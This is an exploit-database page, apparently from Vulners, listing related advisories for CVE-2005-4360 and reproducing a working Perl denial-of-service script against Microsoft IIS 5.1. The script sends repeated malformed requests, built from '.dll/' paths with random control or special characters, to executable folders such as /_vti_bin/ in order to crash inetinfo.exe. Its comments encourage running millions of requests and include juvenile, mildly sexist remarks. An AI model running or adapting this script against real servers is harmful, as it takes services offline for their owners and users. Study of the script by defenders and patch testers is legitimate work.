Microsoft IIS - HTTP Request Denial of Service (2)
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| Microsoft IIS Malformed URL Denial of Service (MS07-041; CVE-2005-4360) | 30 Sep 200900:00 | – | checkpoint_advisories | |
| CVE-2005-4360 | 20 Dec 200501:00 | – | cve | |
| CVE-2005-4360 | 20 Dec 200501:00 | – | cvelist | |
| Microsoft IIS - HTTP Request Denial of Service (1) | 19 Dec 200500:00 | – | exploitdb | |
| CVE-2005-4360 | 20 Dec 200501:03 | – | nvd | |
| Microsoft Security Bulletin MS07-041 - Important Vulnerability in Microsoft Internet Information Services Could Allow Remote Code Execution (939373) | 10 Jul 200700:00 | – | securityvulns | |
| Microsoft Internet Information Server DoS | 10 Jul 200700:00 | – | securityvulns | |
| MS07-041: Vulnerability in Microsoft Internet Information Services Could Allow Remote Code Execution (939373) | 10 Jul 200700:00 | – | nessus |
#!/usr/bin/perl
# _really_ bored kokanin / IIS 5.1 dos thing, Inge says to use a browser at
# http://ingehenriksen.blogspot.com/2005/12/microsoft-iis-remote-dos-dll-url.html
# kokanin not like puny browser!!"#1 I hoped Inge was a leet haxx0r ch1ck, but it's
# apparently a dude, bummer. According to Inge passing a kinda malformed url to
# an executable dir a few times makes inetinfo.exe crap out. Yum, monday. This
# script has insanely elite randomization of the url, it even amazes me.
# Hello ilja, ptp people, others, see you at ccc and stuff.
# sample executable dirs: /_vti_bin/ /_sharepoint/ /scripts/ /cgi-bin/ /msadc/ /iisadmpwd/
# sample malformed url: http://www.example.xom/_vti_bin/.dll/*\~0
# sample run: ./this-crap.pl <www.host.bla> </executable_folder/> <count>
# count should be 4 according to inge, do more!!!!1one MILLIONS I SAY!!!
use List::Util 'shuffle';
use IO::Socket::INET;
$target = shift;
$folder = shift;
$amount = shift;
# main iteration thingie
for(1..$amount){
# construct an array of the reportedly bad characters
for(1..31){ @badchars[$_] = chr($_); }
# append the rest of them
@badchars = (@badchars,"?","\"","*",":","<",">");
# shuffle the array so @shuffled[0] is random
@shuffled = shuffle(@badchars);
# this is the request
$malformed = $folder . ".dll/" . @shuffled[0] . "/~" . int rand(9);
# this is informative text
print "[$_]\t greeting $target with: " . $malformed . "\n";
# create the socket
$socket = new IO::Socket::INET(
Proto => "tcp",
PeerAddr => $target,
PeerPort => "80",
);
# error reporting
die "unable to connect to $target ($!) - omgomgwtf itz dead w00t w00t \n" unless $socket;
# the actual data transmission
print $socket "GET " . $malformed . " HTTP/1.0\r\n" . "Host: $target\r\n" . "\r\n\r\n";
# all done
close $socket;
}
# milw0rm.com [2005-12-19]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Jul 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.8
EPSS0.86729